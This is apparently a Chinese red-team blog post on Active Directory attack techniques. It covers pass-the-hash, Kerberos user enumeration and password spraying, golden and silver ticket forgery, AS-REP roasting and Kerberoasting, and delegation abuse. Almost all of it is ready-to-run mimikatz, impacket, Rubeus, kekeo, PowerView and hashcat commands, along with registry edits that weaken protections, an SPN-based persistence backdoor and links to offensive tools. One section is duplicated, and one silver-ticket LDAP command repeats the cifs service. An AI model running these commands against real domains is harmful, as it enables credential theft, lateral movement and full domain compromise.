红队技巧-域渗透的协议利用

2021-07-01 17:40:41 浏览数 (1)

点击蓝字关注我哦

1.pth(hash传递)

1.1 PTH简介

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密hash值来获取明文密码,因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击,攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

1.2 PTH限制

在03之后有了uac,所以本地只有sid 为500和administrators 组里的域账户能pth。域Domain admin默认在本地管理员组。但是sid 500账户的权限好像会受到限制。当uac某设置为1时,本地管理组内的用户都可以pth,域不变。

修改注册表 改为1

代码语言:javascript复制
cmd /c reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

1.3 PTH常用攻击方法

1.3.1 mimikatz 交互式获取

这种方法需要本地管理员权限

代码语言:javascript复制
privilege::debug
sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359381d5cc84c

1.3.2 psexec

在这里推荐使用impacket套装,有exe和py版本。获取的是system权限

代码语言:javascript复制
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98depython psexec.py  administrator@10.73.147.29   -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

1.3.3 wmiexec

获取的是对方hash的权限,如下面为administrator

代码语言:javascript复制
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3

1.4批量PTH攻击

使用CrackMapExec来进行

代码语言:javascript复制
https://www.freebuf.com/sectool/184573.html

1.5 一些注意事项

当我们机器处于域环境中时,如果客户端是以IP地址访问服务端的,那么此使仍旧会使用NTLM协议进行身份认证,PTH攻击不管是NTLM认证还是Kerberos认证都是存在的!

KB2871997补丁与PTH攻击

PTH无法使用sid 500以外的用户登录,是因为打了KB22871997补丁所导致的,安装KB2871997前后的对比发现并没有任何区别。而之前非administrator的本地管理员Pass The Hash失败被一些观点认为KB2871997的作用,但这实际上因为远程访问和UAC的限制!

远程访问和UAC

UAC是window Vista的新安全组件,2003版本是没有的。所以2003管理组内的用户还是可以网络登录的,而03之后的win7 win8 win10 2008 2012 2012R2 2016 2019 本地都是只能sid为500的允许网络远程访问!

根据微软官方关于远程访问和用户账户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的账户,会在网络上进行限制。

在使用本地用户进行远程登录时不会使用完全管理员权限,但是在域用户被加入到本地管理组员组后,域用户可以使用完全管理员的AccessToken运行。并且UAC不会生效,简而言之就是除了sid 500的用户之外可以PTH登录之外就是加入本地管理员组的域用户!

KB2871997 此补丁具体更改点如下:

1.支持“ProtectedUsers”组

2.Restricted Admin RDP模式的远程桌面客户端支持

3.注销后删除LSASS中的凭据

4.添加两个新的SID

5.LSASS中删除明文凭证

6.支持“ProtectedUsers”组

"ProtectedUsers"组是WindowsServer 2012 R2域中的安全组,"ProtectedUsers"组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密!想要使用mimikatz抓取这个组的hash,需要使用sekurlsa:ekeys

Restricted Admin RDP模式的远程桌面客户端支持

注销后删除LSASS中的凭据,在这个更新之前,08什么的只要登陆过lsass内存中就会缓存明文密码、登陆凭证等。但是在打了补丁或者2012 win8 这种机器上只要用户注销就都没了。

LSASS中删除明文凭证这里涉及到了Wdigest SSP,在此补丁出世之前。lsass中由各种SSP保存明文密码!但是在补丁出现之后,就只有Wdigest SSP能保存密码了。

修改的Wdigest SSP的注册表,在这里还可以插入其他的SSP去记录明文

1.6 Pass the Hash with Remote Desktop

1.6.1 前言

在一般的渗透测试中,当我们拿到了某个用户的NTLM Hash的时候。我们一般就直接去PTH了,但是除了PTH还有另外一种额外的方法能够让我们PTH登录对方机器的3389服务,但是此条件有些苛刻!

1.6.2 简介

本文主要介绍以下内容:

Restricted Admin mode介绍

Pass the Hash with Remote Desktop的适用条件

Pass the Hash with Remote Desktop的实现方法

1.6.2.1 Restricted Admin mode介绍

官方说明:

代码语言:javascript复制
https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/

适用系统:

高版本只支持 Windows 8.1和Windows Server 2012 R2

低版本需要打补丁 Windows 7 和Windows Server 2008 R2 默认不支持,需要安装补丁2871997、2973351

在这里形成这个漏洞的主要原因还是因为微软为了避免PTH攻击,开发了2871997补丁导致的!win8 2012 默认包含了这个补丁,所以不需要额外安装。而以前的版本则需要安装下补丁!

1.6.3 Pass the Hash with Remote Desktop的实现方法

(1)使用客户端命令登录

需要有两个必要的元素!首先是受害者机器需要开启注册表某一项,另一点是攻击机需要使用利用PTH登录的工具!

开启注册表

使用命令开启

代码语言:javascript复制
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

攻击机登录

使用客户端命令行登录

代码语言:javascript复制
sekurlsa::pth /user:administrator /domain:. /ntlm:08eb9761caca8f3c386962b5ad4b1991 "/run:mstsc.exe /restrictedadmin"

//pass:如果单独使用mstsc.exe,好像无法指定具体哪个hash登录!

1.如果当前系统不支持Restricted Admin mode,执行后弹出远程桌面的参数说明

2.如果系统支持Restricted Admin mode,执行后弹出登录桌面界面

(2) 使用FreeRDP工具来使用

他的旧版本支持pth登陆方式,下载链接:

代码语言:javascript复制
https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz

PTH登录3389无法缓存Hash,mimikatz无法从内存中抓取

2.用户枚举

2.1 原理分析

在域外也能和域进行交互的原因,是利用了kerberos协议认证中的AS-REQ阶段。只要我们能够访问域控88(kerberos服务)端口,就可以通过这种方式去枚举用户名并且进行kerberos协议的暴力破解了!

2.2 攻击优势

相比于LDAP的暴力破解,这里Kerbrute使用的是kerberos pre-auth协议,不会产生大量的日志 (4625 - An account failed to log on)

但是会产生以下日志:

口令验证成功时产生日志 (4768 - A Kerberos authentication ticket (TGT) was requested)

口令验证失败时产生日志 (4771 - Kerberos pre-authentication failed)

2.3 攻击方法

2.3.1 kerbrute_windows_amd64.exe

下载地址:

代码语言:javascript复制
https://github.com/ropnop/kerbrute/releases

需要获取dc的ip,域名。将想要爆破的用户放入user.txt表中,这样就可以获取

代码语言:javascript复制
kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt

获取到用户名后,可以将它用来爆破

代码语言:javascript复制
kerbrute_windows_amd64.exe passwordspray -d hacke.testlab user.txt QWE123!@#

2.3.2 PY版本 pyKerbrute

下载链接

代码语言:javascript复制
https://github.com/3gstudent/pyKerbrute

此工具分为用户枚举和口令验证两个功能。

2.3.2.1 EnumADUser.py

进行用户枚举,支持TCP和UDP协议。

命令实例:

代码语言:javascript复制
python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
python2 EnumADUser.py 192.168.60.1 test.com user.txt udp

2.3.2.2 ADPwdSpray.py

这个脚本进行口令破解功能,支持TCP和UDP协议,支持明文口令和NTLM hash

使用明文密码:

代码语言:javascript复制
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt clearpassword QWE123!@# tcp

使用hash:

代码语言:javascript复制
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp

3.密码喷洒攻击(Password Spraying)

3.1 前言

关于密码喷洒,笔者一开始的感觉应该是系统默认开启了次数。但是后来发现这个策略问题需要我们设置才会开启。net accounts /domain 所设置的策略问题,实验环境12默认没有阈值,导致爆破一直不被锁定。

3.2 工具介绍

DomainPasswordSpray.ps1是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。

需要使用域权限账户

下载链接:

代码语言:javascript复制
GitHub项目地址:
https://github.com/dafthack/DomainPasswordSpray

在这里作者进行了脚本修改

代码语言:javascript复制
优化后的地址:
http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

3.2.1 参数说明

描述:该模块主要用于从域中收集用户列表

参数

功能

Domain

指定要测试的域名

RemoveDisabled

尝试从用户列表删除禁用的账户

RemovePotentialLockouts

删除锁定账户

UserList

自定义用户列表(字典)。如果未指定,将从域中获取

Password

指定单个密码进行口令测试

PasswordList

指定一个密码字典

OutFile

将结果保存到某个文件

Force

当枚举出第一个后继续枚举,不询问

3.2.3 使用说明

从域中收集用户列表

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:UsersHTWODesktopDomainPasswordSpray.ps1;Get-DomainUserList}"

从域中收集用户列表,包括任何未禁用且未接近锁定状态的账户。它会将结果写入"userlist.txt"文件中

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:UsersHTWODesktopDomainPasswordSpray.ps1; Get-DomainUserList -Domain hacke.testlab -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt }"

从域环境中获取用户名,然后使用密码QWE123!@#进行认证枚举

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:UsersHTWODesktopDomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password QWE123!@#}"

从user.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功后会输出到sprayed-creds.txt

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:UsersHTWODesktopDomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Domain hacke.testlab -Password QWE123!@# -OutFile sprayed-creds.txt}"

4.黄金票据

4.1 前言

在kerberos认证笔记中有这么一段话

在TGS_REQ部分,Client将发送大致三种数据。两种加密的,一种不加密的。机密的分别为TGT、Login Session key 加密的时间戳数据B,不加密的如要访问的服务名称

当我们有了krbtgt的密钥之后,我们可以解密TGT,也可以加密TGT。因为我们用了krbtgt NTLM Hash!下面还有这样一段话

当TGS收到请求后,将会检查自身是否存在客户端所请求的服务。如果服务存在,通过krbtgt用户的NTLM hash解密TGT获得Login Session key,使用Login Session key去解密数据B,通过数据B。

这里是关键,TGS获取的Login Session key是通过解开TGT获取的!因此当我们得到krbtgt hash之后,我们就可以伪造任一用户了!

4.2 利用场景

1.拿到域内所有账户Hash,包括krbtgt账户,某些原因导致域控权限掉了,域管改密码了等。

2.手上还有一台机器,无所谓是否在域中!

3.域管理员没有更改域控krbtgt账户的密码。

4.通常当作后门使用!

4.3 利用条件

伪造黄金凭据需要具备下面条件:

krbtgt用户的hash(就意味着你已经有域控制器权限了)

域名称

域的SID值

要伪造的用户名

krbtgt NTLM hash

代码语言:javascript复制
RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 30c84f309c52d2d6d05561fc3f904647

域的SID值

代码语言:javascript复制
S-1-5-21-3502871099-3777307143-1257297015

域名称

代码语言:javascript复制
hacke.testlab

在这里我们要伪造

代码语言:javascript复制
Administrator

在伪造之前,最好清空一下当前的票据

代码语言:javascript复制
klist purg

使用mimikatz

代码语言:javascript复制
kerberos::golden /admin:Administrator /domain:hacke.testlab /sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:30c84f309c52d2d6d05561fc3f904647 /ticket:ticket.kirbi

5.Roasting攻击

5.1 漏洞成因

这个漏洞是需要额外去配置的!需要我们在用户账号设置" Do not require Kerberos preauthentication(不需要kerberos预身份验证) "。

在AS_REP阶段,会返回由我们请求的域账户hash加密某个值后返回。然后我们通过自身的ntlm hash去解密得到数据。在这里设置不要求预身份验证后,我们可以在AS_REQ阶段,填写想要伪造请求的用户名,随后会用伪造请求的用户名NTLM Hash加密返回给我们。随后我们就可以拿去爆破了,不过前提就是需要伪造请求的用户名设置了"不要求Kerberos预身份认证"

5.2 两种环境的利用

5.2.1 域内

工具Rebeus

使用命令直接获取域内所有开启"不要求Kerberos域身份认证"的用户,并且返回了他们的加密hash

代码语言:javascript复制
Rubeus.exe asreproast > log.txt

Empire 中的Powerview.ps1

在这里使用bypass命令直接执行输出到txt中!

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:Userstest.HACKEDesktoppowerview.ps1;Get-DomainUser -PreauthNotRequired}" > log.txt

获取用户名后,需要获取他们的加密hash。在这里需要使用另外一个模块

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module C:Userstest.HACKEDesktopASREPRoast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab | Out-File -Encoding ASCII hash.txt}"

5.2.2 域外

在这里只能通过枚举域用户名操作来获取域用户名,拿到后使用Get-ASREPHash来获取信息!

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module ASREPRoast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab -Server 192.168.60.1 | Out-File -Encoding ASCII hash.txt}"

工具下载链接

代码语言:javascript复制
https://github.com/gold1029/ASREPRoast

5.3 密码破解

当我们拿到hash之后,就需要去破解了!

如果想要放到hashcat里破解,需要在kerberos后面加上

代码语言:javascript复制
$23
代码语言:javascript复制
hashcat -m 18200 hash.txt pass.txt --force

6.SPN 扫描

6.1 SPN简介

SPN全程 Service Principal Names,是服务器上所运行服务的唯一标识,每个使用kerberos认证的服务都需要一个SPN。SPN分为两种,一种注册在AD的机器账户下(Computers)下,另一种注册在域用户账户(Users)下 当一个服务的权限为Local System或Network Service,则SPN注册在机器账户(Computers)下 当一个服务的权限为一个域用户,则SPN注册在域用户账户(Users)下

6.2 SPN扫描作用

SPN扫描能让我们更快的发现在域内运行的服务,并且很难被发现

6.3 SPN格式

代码语言:javascript复制
serviceclass/host:port/servicename

说明:

serviceclass可以理解为服务的名称,常见的有www,ldap,SMTP,DNS,HOST等

host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01

如果服务运行在默认端口上,则端口号(port)可以省略

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

(1)使用SetSPN

win7和windows server2008 2012自带的功能

查看当前域内的所有SPN:

代码语言:javascript复制
setspn.exe -q */*

查看具体域内的所有SPN:

代码语言:javascript复制
setspn.exe -T hacke.testlab -q */*

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测

(1)使用SetSPN

win7和windows server2008 2012自带的功能

查看当前域内的所有SPN:

代码语言:javascript复制
setspn.exe -q */*

查看具体域内的所有SPN:

代码语言:javascript复制
setspn.exe -T hacke.testlab -q */*

7.Kerberosast攻击

7.1 攻击原理

1.kerberos认证过程

这种攻击方法主要利用了TGT_REP阶段使用对方NTLM Hash返回的加密数据,通过碰撞加密数据破解用户密码。

2.Windows系统通过SPN查询获得服务和服务实例帐户的对应关系

但是TGT阶段一开始需要对方是否是否有这个服务,那这个服务怎么发现呢? 这时候可以使用SPN扫描,因为在域中如果服务使用的是kerberos认证。那么就需要在对应域用户下面注册SPN,因此通过SPN扫描可以发现用户对应的服务!

3.域内的任何用户都可以向域内的任何服务请求TGS

4.需要域用户登录才能查询,因为SPN查询部分使用了LDAP协议

7.2 高效率方法

查询SPN,找到有价值的SPN,需要满足以下条件:

该SPN注册在域用户帐户(Users)下

域用户账户的权限很高

请求TGS

导出TGS

暴力破解

账户低权限时注册的SPN,后来当账户权限提高时。如下工具也检测不出来,同理高权限注册后降权,工具也检测不出来!

7.3 工具工攻击实现

7.3.1 检测高权限账户

工具只能检测出SPN服务注册时用户的高低权限,若后来权限提高或者降低皆无法检测到。

(1)使用powershell模块Active Direvtory

当服务器上存在此模块时(域控一般安装)

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .ctiveDirectory;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"

当服务其上没有AD模块时,加载dll文件来执行。win8无法执行

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .Microsoft.ActiveDirectory.Management.dll;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"

DLL下载链接

代码语言:javascript复制
https://codeload.github.com/3gstudent/test/zip/master
https://github.com/samratashok/ADModule

(2)使用PowerView

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .PowerView.ps1; Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon }"

下载链接

代码语言:javascript复制
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

(3)使用kerberoast工具

powershell

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .GetUserSPNs.ps1;  }"

下载链接:

代码语言:javascript复制
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs

代码语言:javascript复制
cscript GetUserSPNs.vbs

下载链接:

代码语言:javascript复制
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

7.3.2 请求高权限账户的票据

在域机器win7上执行

(1)请求指定TGS 在powershell中使用如下命令获取票据(2008不行)

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {$SPNName = 'VNC/WIN7.hacke.testlab'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"

$SPNName = 'VNC/WIN7.hacke.testlab'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

(2)请求所有TGS

执行完(1)第一个后第二个才能执行 需要powershell下执行

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Add-Type -AssemblyName System.IdentityModel  }"

setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

可以看到获取到了所有的票据

7.3.3 导出票据

使用mimikatz.exe

代码语言:javascript复制
kerberos::list /export

7.3.4 破解票据

在这里之所以能够进行破解,是因为我们后来加入的那些服务加密算法。默认是RC4的,而不是原有服务那种AES-256-CTS-HMAC-SHA1-96 !

参考链接:

代码语言:javascript复制
https://mp.weixin.qq.com/s/88GqLe63YIBbTkQH9EIXcg

在这里破解方式我收集了两种

(1) 使用tgsrepcrack.py

代码语言:javascript复制
pip install requests-kerberos,kerberos-sspi
import kerberos 改成 import kerberos_sspi as kerberos

但是这里的模块我没安装成功就没尝试这个操作

下载链接

代码语言:javascript复制
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

(2) 使用kirbi2john.py转格式

这里和(1)中使用的格式不同,因此可以使用hashcat john 工具来进行爆破票据

在这里进行转换

代码语言:javascript复制
python kirbi2john.py *.kirbi > johnkirb.txt

在这里笔者pip包没有安装成功,因此没有截图。这两种失败没事,接下来的自动化导出直接替代了上面的所有!

全自动化导出

在这里使用 Empire 中的 Invoke-Kerberoast.ps1 脚本,导出hashcat格式的密钥。且它会自动选择所有的user Hash!

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .Invoke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl > hash.txt}"

7.3.5 暴力破解

将上述的数据中提取出hashcat可爆破的部分,放入hash.txt

在这里使用hashcat进行破解

代码语言:javascript复制
hashcat -m 13100 hash.txt password.list -o found.txt --force

7.4 Kerberoasting后门利用

当我们获取到有权注册SPN的域账号时,或者拿到了域控。我们就可以为指定的域用户添加一个SPN。这样可以随时获得该用户的TGS,从而经过破解后可以获得明文口令。

如为添加管理员Administrator添加VNC/WIN-Q2JR4MURGS0.hacke.testlab

代码语言:javascript复制
setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administrator

8.白银票据

8.1 利用条件

攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:

域名

域SID

目标服务器的FQDN

可利用的服务

服务账号的NTLM Hash

需要伪造的用户名

8.2 使用场景

8.2.1 使用Silver Ticket伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

使用当前域用户权限,查询对域控制器的共享目录的访问权限,在域控制器中输入如下命令,使用mimikatz获取服务账号的NTLM Hash

代码语言:javascript复制
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

机器账号的NTLM Hash

代码语言:javascript复制
f2abe578cdedfbb0dc5bf4249145c8dd

注意,这里使用的是共享服务账号,所以使用的是WIN-Q2JR4MURGS0$而非administrator

继续获取其他信息

域名(注入时需要写成小写)

域SID

代码语言:javascript复制
whoami /all >123.txt  //注意要去掉-500
代码语言:javascript复制
WIN-Q2JR4MURGS0$
domain:hacke.testlab
SID:S-1-5-21-3502871099-3777307143-1257297015

然后,在命令行环境下输入如下命令,清空当前系统中的票据和域成员的票据,防止其他票据干扰。

代码语言:javascript复制
klist purge
kerberos::purge

使用mimikatz生成伪造的 Silver Ticket ,在之前不能访问域控制器共享目录的机器输入如下命令:

代码语言:javascript复制
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt

kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt

或者
mimikatz "kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt"

8.2.2 访问域控上的"LDAP"服务

在本实验中,使用dcsync从域控制器中获取指定用户的账号和密码散列,如krbtgt

输入如下命令,测试以当前权限是否可以使用dcsync与域控制器进行同步

代码语言:javascript复制
lsadump::dcsync /dc:WIN-Q2JR4MURGS0.hacke.testlab /domain:hacke.testlab /user:krbtgt

向域控制器获取krbtgt的密码散列值失败,说明以当前权限不能进行dcsync操作,这时候可以直接修改上面的命令,将服务修改成ldap即可!

代码语言:javascript复制
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt

9.委派攻击

9.1 前言

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。

委派主要分为非约束委派 (Unconstrained delegation)和约束委派 Constrained delegation)与基于资源的约束委派 (Resource Based Constrained Delegation)

9.1.1 原理

当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中已备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能够访问的服务)了

9.2 非约束委派信息搜集

9.2.1 PowerSploit下的PowerView.ps1脚本

寻找设置了非约束委派的账号

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .PowerView.ps1;Get-NetUser -Unconstrained -Domain hacke.testlab | select name }"

寻找设置了非约束委派的主机

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1;Get-NetComputer -Unconstrained -Domain hacke.testlab }"

pass:域控默认设置为非约束委派

9.2.2 使用ADFind.exe查找

寻找设置了非约束委派的账号

代码语言:javascript复制
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

寻找设置了非约束委派的主机

代码语言:javascript复制
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

高权限机器主动访问我们

所需权限:非约束主机的管理权权限,需要导出内存中的票据

代码语言:javascript复制
privilege::debug
sekurlsa::tickets /export

使用mimikatz将这个票据导入内存中,然后访问域控 导入票据

代码语言:javascript复制
kerberos::ptt [0;8c20d]-2-0-60810000-Administrator@krbtgt-HACKE.TESTLAB.kirbi

在第一种中,其实利用起来难度不小。让要高权限用户来访问我们的非约束主机其实利用起来不太好,所以这里我们还可以使用打印机的BUG,来让它以高权限用户访问非约束主机。

所需权限:非约束主机的管理权限,需要导出内存中的票据。有两种方式:

1.system权限 其他方式获取的域sid

2.两个会话,一个system/administrator 一个域内权限

(1)system权限 其他方式获取的域sid

首先使用工具Rubeus.exe 1.5.0 监听来自WIN-Q2JR4MURGS0 Event ID为4624事件。每隔一秒监听一次来自WIN-Q2JR4MURGS0的登录,然后将其写到文件夹里

代码语言:javascript复制
Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$ > C:user.txt
psexec.exe -s cmd /c "Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$ > C:user.txt " -arguments

想使用SpoolSampler需要访问域内权限,如果使用administrator执行。会出现SMB认证失败的情况!

因此这里需要提升到system权限,或者在域用户下执行。在这里使用psexec 单条命令提到system权限,去认证执行查询操作

代码语言:javascript复制
psexec.exe -s cmd /c "C:UsersAdministratorDesktoptooltools--mainSpoolSampleSpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0" -arguments //前当前主机名  后域控主机名  不同工具不同写法

下载链接

代码语言:javascript复制
https://github.com/shigophilo/tools-

然后根据不同的系统版本选择适合的请求工具,在这里笔者环境为WIN7。因此使用SpoolSamplerNET.exe

代码语言:javascript复制
SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0   //前本机  后域控   不同工具位置不同

9.2.3 约束委派

9.2.3.1 约束委派信息搜集

Empire下的powerview.ps1脚本

配置了约束委派的服务域账号

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab | select name }"

配置了约束委派的服务机器账号

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1;Get-DomainComputer -TrustedToAuth -Domain hacke.testlab | select name}"

ADFind

域用户服务账号以及对应的委派对象

代码语言:javascript复制
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

主机机器服务账户以及对应的委派对象

代码语言:javascript复制
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

9.2.3.2 约束资源委派攻击

域用户服务账号和主机服务账号,同样可以获取伪造高权限对应服务票据。

通过Empire下的powerview.ps1脚本查找约束委派账号

代码语言:javascript复制
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab | select name }"

但是这里还需要知道这两个用户委派的是SPN服务,使用AdFind.exe发现域用户的委派spn对象

代码语言:javascript复制
AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=user)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo

在这里可以看到委派的SPN对象,这里weipai域用户服务账号委派的是域控的445权限,因此这里伪造尝试访问域控的445。

首先需要伪造S4U,这里需要获取委派域账号的明文密码。

使用kekeo请求该用户的TGT

代码语言:javascript复制
tgt::ask /user:weipai /domain:hacke.testlab /password:QWE123!@# /ticket:test.kirbi

当破解不出明文密码时,还可以使用NTLM hash!

代码语言:javascript复制
tgt::ask /user:weipai /domain:hacke.testlab /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec

在这里获取到了访问服务本身的tgt票据:

代码语言:javascript复制
TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi

随后使用这张可转发的TGT票据去伪造s4u请求以administrador用户权限访问SPN委派服务

代码语言:javascript复制
tgs::s4u /tgt:TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator@hacke.testlab /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab

S4U2Self获取到的ST1以及S4UProxy获取到的WIN-Q2JR4MURGS0 CIFS服务的ST2会保存在目录下

然后我们使用mimikatz将ST2导入当前会话即可

代码语言:javascript复制
kerberos::ptt TGS_Administrator@hacke.testlab@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi

使用机器账户服务凭证申请

AdFind发现主机的委派SPN对象

代码语言:javascript复制
AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo

WIN8$的NTLM如下

代码语言:javascript复制
[00000003] Primary
     * Username : WIN8$
     * Domain   : HACKE
     * NTLM     : 7b335709cb4c692de6cd42b328fe8b1b
     * SHA1     : a3903dbf45c7b12186eec1b430f74fa3de7a4051

在这里也可以使用机器账户委派,需要生成一个机器账户的票据。因为机器账户的密码成不规则,所以在这里使用ntlm格式去生成。使用kekeo去生成票据

代码语言:javascript复制
tgt::ask /user:WIN8$ /domain:hacke.testlab /NTLM:7b335709cb4c692de6cd42b328fe8b1b

随后使用这张"服务票据"去进行S4U阶段的伪造

代码语言:javascript复制
tgs::s4u /tgt:TGT_WIN8$@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab

在没有导入之前访问域控的cifs服务

在这里使用mimikaze导入

代码语言:javascript复制
kerberos::ptt TGS_Administrator@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi

在其他未设置约束委派的机器上,使用WIN8$机器账户的凭证发起请求。也可以获取可转发的ST票据。

服务账号的区分

